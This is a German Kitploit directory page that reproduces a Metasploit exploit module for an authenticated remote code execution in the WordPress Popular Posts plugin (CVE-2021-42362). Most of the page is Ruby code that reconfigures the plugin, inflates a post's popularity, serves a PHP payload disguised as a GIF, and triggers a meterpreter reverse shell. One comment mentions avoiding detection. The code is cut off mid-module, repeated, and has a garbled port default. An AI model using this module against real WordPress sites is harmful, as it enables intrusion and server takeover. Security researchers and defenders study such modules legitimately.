Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nate158g-m-w-n-l-p-d-a-o-e — ### Dieses Modul benötigt Metasploit: https://metasploit.com/download# Aktuelle Quelle: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Dieser Exploit erfordert, dass Metasploit über einen FQDN verfügt und in der Lage ist, einen Payload-Webserver auf Port 80, 443 oder 8080 zu betreiben. Der FQDN darf außerdem nicht auf eine reservierte Adresse (192/172/127/10) aufgelöst werden. Der Server muss außerdem auf eine HEAD-Anfrage für den Payload antworten, bevor eine GET-Anfrage erfolgt. Dieser Exploit nutzt eine authentifizierte, fehlerhafte Eingabevalidierung im WordPress-Plugin Popular Posts <= 5.3.2. Die Exploit-Kette ist ziemlich kompliziert. Eine Authentifizierung ist erforderlich, und 'gd' für PHP wird auf dem Server benötigt. Danach wird das Popular-Posts-Plugin neu konfiguriert, um eine beliebige URL für das Beitragsbild im Widget zuzulassen. Ein Beitrag wird erstellt, dann werden Anfragen an den Beitrag gesendet, um ihn um 5 beliebter als den bisherigen #1 zu machen. Sobald der Beitrag die Top 5 erreicht hat und nach einer 60-sekündigen (wir warten 90) Server-Cache-Aktualisierung das Homepage-Widget geladen wird, was das Plugin dazu veranlasst, den Payload von unserem Server herunterzuladen. Unser Payload hat einen 'GIF'-Header und eine Doppelerweiterung ('.gif.php'), die die Ausführung von beliebigem PHP-Code ermöglicht. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf-Modul 'Simone Cristofaro', # edb 'Jerome Bruandet' # ursprüngliche Analyse ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo | Kitploit
Tools/GitHubGitHub/nate0634034090/nate158g-m-w-n-l-p-d-a-o-e
Penetrationstest-FrameworksExploit-FrameworksPayload-GenerierungSchwachstellenanalyseWebanwendungs-ExploitationRed Teaming
GitHubnate0634034090/nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e

Repository anzeigen
12454vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

### Dieses Modul benötigt Metasploit: https://metasploit.com/download# Aktuelle Quelle: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Dieser Exploit erfordert, dass Metasploit über einen FQDN verfügt und in der Lage ist, einen Payload-Webserver auf Port 80, 443 oder 8080 zu betreiben. Der FQDN darf außerdem nicht auf eine reservierte Adresse (192/172/127/10) aufgelöst werden. Der Server muss außerdem auf eine HEAD-Anfrage für den Payload antworten, bevor eine GET-Anfrage erfolgt. Dieser Exploit nutzt eine authentifizierte, fehlerhafte Eingabevalidierung im WordPress-Plugin Popular Posts <= 5.3.2. Die Exploit-Kette ist ziemlich kompliziert. Eine Authentifizierung ist erforderlich, und 'gd' für PHP wird auf dem Server benötigt. Danach wird das Popular-Posts-Plugin neu konfiguriert, um eine beliebige URL für das Beitragsbild im Widget zuzulassen. Ein Beitrag wird erstellt, dann werden Anfragen an den Beitrag gesendet, um ihn um 5 beliebter als den bisherigen #1 zu machen. Sobald der Beitrag die Top 5 erreicht hat und nach einer 60-sekündigen (wir warten 90) Server-Cache-Aktualisierung das Homepage-Widget geladen wird, was das Plugin dazu veranlasst, den Payload von unserem Server herunterzuladen. Unser Payload hat einen 'GIF'-Header und eine Doppelerweiterung ('.gif.php'), die die Ausführung von beliebigem PHP-Code ermöglicht. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf-Modul 'Simone Cristofaro', # edb 'Jerome Bruandet' # ursprüngliche Analyse ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo

Teilen

nate158g-m-w-n-l-p-d-a-o-e### Dieses Modul erfordert Metasploit: https://metasploit.com/download# Aktuelle Quelle: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE',

    'Description' => %q{
      Dieser Exploit setzt voraus, dass Metasploit über einen FQDN verfügt und einen Payload-Webserver auf Port 80, 443 oder 8080 betreiben kann.
      Der FQDN darf außerdem nicht auf eine reservierte Adresse (192/172/127/10) aufgelöst werden.  Der Server muss außerdem auf eine HEAD-Anfrage antworten
      für den Payload, bevor eine GET-Anfrage eingeht.
      Dieser Exploit nutzt eine nicht ordnungsgemäße Eingabevalidierung mit Authentifizierung im Wordpress-Plugin Popular Posts &lt;= 5.3.2.
      Die Exploit-Kette ist recht kompliziert.  Eine Authentifizierung ist erforderlich, und auf dem Server muss 'gd' für PHP vorhanden sein.
      Anschließend wird das Popular-Posts-Plugin neu konfiguriert, um eine beliebige URL für das Beitragsbild im Widget zuzulassen.
      Ein Beitrag wird erstellt; dann werden Anfragen an den Beitrag gesendet, um ihn um 5 beliebter zu machen als den bisherigen #1. Sobald
      der Beitrag die Top 5 erreicht und nach einer 60-Sekunden-Auffrischung des Server-Caches (wir warten 90), wird das Widget der Startseite geladen
      was das Plugin dazu veranlasst, den Payload von unserem Server herunterzuladen. Unser Payload besitzt einen 'GIF'-Header und eine
      Doppelerweiterung ('.gif.php'), die die Ausführung beliebigen PHP-Codes ermöglicht.
    },
    'License' => MSF_LICENSE,
    'Author' => [
      'h00die', # msf-Modul
      'Simone Cristofaro', # edb
      'Jerome Bruandet' # ursprüngliche Analyse
    ],
    'References' => [
      [ 'EDB', '50129' ],
      [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],
      [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],
      [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],
      [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],
      [ 'CVE', '2021-42362' ]
    ],
    'Platform' => ['php'],
    'Stance' => Msf::Exploit::Stance::Aggressive,
    'Privileged' => false,
    'Arch' => ARCH_PHP,
    'Targets' => [
      [ 'Automatic Target', {}]
    ],
    'DisclosureDate' => '2021-06-11',
    'DefaultTarget' => 0,
    'DefaultOptions' => {
      'PAYLOAD' => 'php/meterpreter/reverse_tcp',
      'WfsDelay' => 3000 # 50 Minuten, andere Besucher der Website könnten den Payload auslösen
    },
    'Notes' => {
      'Stability' => [ CRASH_SAFE ],
      'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
      'Reliability' => [ REPEATABLE_SESSION ]
    }
  )
)
register_options [
  OptString.new('USERNAME', [true, 'Benutzername des Kontos', 'admin']),
  OptString.new('PASSWORD', [true, 'Passwort des Kontos', 'admin']),
  OptString.new('TARGETURI', [true, 'Der Basispfad des Wordpress-Servers', '/']),
  # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560
  OptString.new('SRVHOSTNAME', [true, 'FQDN des Metasploit-Servers. Darf nicht auf eine reservierte Adresse (192/10/127/172) aufgelöst werden', '']),
  # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584
  OptEnum.new('SRVPORT', [true, 'Der lokale Port, auf dem gelauscht werden soll.', 'login', ['80', '443', '8080']]),
]

end

def check return CheckCode::Safe('Wordpress nicht erkannt.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts ist keine anfällige Version') end return checkcode end

def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # dies 5 Mal durchlaufen, falls es beim Schreiben der Datei durch den Server zu einer Zeitverzögerung kommt (1..5).each do |i| print_status("Shell wird ausgelöst unter: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 Sekunden. Versuch #{i} von 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Payload nicht gefunden, wurde möglicherweise nicht korrekt hochgeladen.') end end

def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Antworte auf die anfängliche HEAD-Anfrage (Prüfung 1 bestanden)') # laut https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests sollten wir eine gültige Content-Length haben # diese scheint jedoch dynamisch berechnet zu werden, da sie bei dieser Antwort auf 0 überschrieben wird. als Notiz hier gelassen. # wollte außerdem nicht den echten Payload im Body senden, um die Größe korrekt zu machen, da dies die Wahrscheinlichkeit erhöht, entdeckt zu werden return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Antworte auf die GET-Anfrage (Prüfung 2 bestanden)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # aus einem seltsamen Grund müssen wir die Verbindung manuell schließen, damit PHP/WP seine Funktionen abschließen kann Rex.sleep(2) # warten, bis WP alle erforderlichen Prüfungen abgeschlossen hat trigger_payload(on_disk_payload_name) end print_status("Unerwartete #{request.method}-Anfrage empfangen") end

def check_gd_installed(cookie) vprint_status('Prüfe, ob gd installiert ist') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Website antwortet nicht') unless res fail_with(Failure::UnexpectedReply, 'Seite konnte nicht abgerufen werden') unless res.code == 200 res.body.include? ' gd' end

def get_wpp_admin_token(cookie) vprint_status('Rufe wpp_admin-Token ab') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Website antwortet nicht') unless res fail_with(Failure::UnexpectedReply, 'Seite konnte nicht abgerufen werden') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end

Tool herunterladen